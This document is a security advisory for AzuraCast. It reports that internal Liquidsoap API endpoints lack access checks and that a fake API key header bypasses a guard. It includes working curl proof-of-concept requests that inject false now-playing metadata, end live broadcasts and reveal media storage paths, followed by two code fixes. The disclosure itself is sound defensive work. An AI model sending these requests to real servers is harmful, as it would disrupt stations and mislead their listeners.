AzuraCast's Missing RequireInternalConnection on Liquidsoap API Allows Low-Privilege Metadata Injection and Broadcast Disruption

Affected commands:

• FeedbackCommand (backend/src/Radio/Backend/Liquidsoap/Command/FeedbackCommand.php:36): Guard if (!$asAutoDj) return false; bypassed — creates SongHistory records and forces NowPlaying cache updates
• DjOffCommand (backend/src/Radio/Backend/Liquidsoap/Command/DjOffCommand.php:24): Guard bypassed — calls $this->streamerRepo->onDisconnect($station) which ends all active broadcasts and sets $station->is_streamer_live = false
• DjOnCommand (backend/src/Radio/Backend/Liquidsoap/Command/DjOnCommand.php:31): Guard bypassed — calls $this->streamerRepo->onConnect($station, $user) with attacker-controlled username
• CopyCommand (backend/src/Radio/Backend/Liquidsoap/Command/CopyCommand.php:18): No $asAutoDj guard at all — returns absolute filesystem paths via $mediaFs->getLocalPath($uri)

PoC

Prerequisites: A user account with StationPermissions::View on station ID 1 (the lowest station-level permission). Obtain a session cookie or API key for this user.

1. Inject arbitrary now-playing metadata (FeedbackCommand):

curl -X POST 'https://target/api/internal/1/liquidsoap/feedback' \
  -H 'X-API-Key: <view-user-api-key>' \
  -H 'X-Liquidsoap-Api-Key: anything' \
  -H 'Content-Type: application/json' \
  -d '{"artist": "INJECTED", "title": "Fake Song Title"}'

Expected: Should reject — user does not have the adapter API key. Actual: Returns true. The injected artist/title appears in /api/nowplaying/1 for all listeners.

2. Disrupt live broadcast (DjOffCommand):

curl -X POST 'https://target/api/internal/1/liquidsoap/djoff' \
  -H 'X-API-Key: <view-user-api-key>' \
  -H 'X-Liquidsoap-Api-Key: anything'

Expected: Should reject. Actual: Returns true. All active broadcast records for the station are terminated (timestampEnd set), is_streamer_live set to false, and current_streamer cleared.

3. Disclose filesystem paths (CopyCommand):

curl -X POST 'https://target/api/internal/1/liquidsoap/cp' \
  -H 'X-API-Key: <view-user-api-key>' \
  -H 'Content-Type: application/json' \
  -d '{"uri": "test.mp3"}'

Expected: Should reject — this is an internal-only endpoint. Actual: Returns {"uri":"/var/azuracast/stations/1/media/test.mp3","isTemp":false} — disclosing the absolute filesystem path of the station's media storage.

Impact

Any user with the basic StationPermissions::View permission (the lowest station-level role, commonly assigned to DJs and collaborators) can:

1. Inject arbitrary now-playing metadata visible to all listeners via the public NowPlaying API and any connected players/widgets. This poisons the song history database and triggers cache updates that propagate the false data to all consumers.

2. Disrupt live broadcasts by terminating all active broadcast records and marking the station as having no live streamer, even when a DJ is actively broadcasting. This affects broadcast recording and live-DJ tracking.

3. Fake DJ connections with arbitrary usernames via the djon command, polluting streamer logs and potentially interfering with DJ scheduling.

4. Disclose absolute filesystem paths of the station's media storage directory via the cp command (no $asAutoDj guard required), which aids further attacks against the server.

Recommended Fix

Fix 1: Add RequireInternalConnection middleware to the liquidsoap route group.

In backend/config/routes/api_internal.php, add the middleware to the station group:

$group->group(
    '/{station_id}',
    function (RouteCollectorProxy $group) {
        $group->map(
            ['GET', 'POST'],
            '/liquidsoap/{action}',
            Controller\Api\Internal\LiquidsoapAction::class
        )->setName('api:internal:liquidsoap')
+           ->add(Middleware\RequireInternalConnection::class);

        // Icecast internal auth functions
        $group->map(
            ['GET', 'POST'],
            '/listener-auth[/{api_auth}]',
            Controller\Api\Internal\ListenerAuthAction::class
        )->setName('api:internal:listener-auth');
    }
)->add(Middleware\GetStation::class);

Fix 2: Validate the API key value before setting $asAutoDj.

In backend/src/Controller/Api/Internal/LiquidsoapAction.php, move $asAutoDj assignment after key validation:

- $asAutoDj = $request->hasHeader('X-Liquidsoap-Api-Key');
+ $asAutoDj = false;

  try {
      $acl = $request->getAcl();
      if (!$acl->isAllowed(StationPermissions::View, $station->id)) {
          $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
          if (!$station->validateAdapterApiKey($authKey)) {
              throw new RuntimeException('Invalid API key.');
          }
+         $asAutoDj = true;
+     } else {
+         // Even ACL-authenticated users must provide valid adapter key for AutoDJ operations
+         $authKey = $request->getHeaderLine('X-Liquidsoap-Api-Key');
+         $asAutoDj = !empty($authKey) && $station->validateAdapterApiKey($authKey);
      }

Both fixes should be applied. Fix 1 is the primary defense (defense in depth — this endpoint should never be publicly accessible). Fix 2 corrects the logic flaw so that $asAutoDj is only true when the adapter API key is actually valid, regardless of how authentication was performed.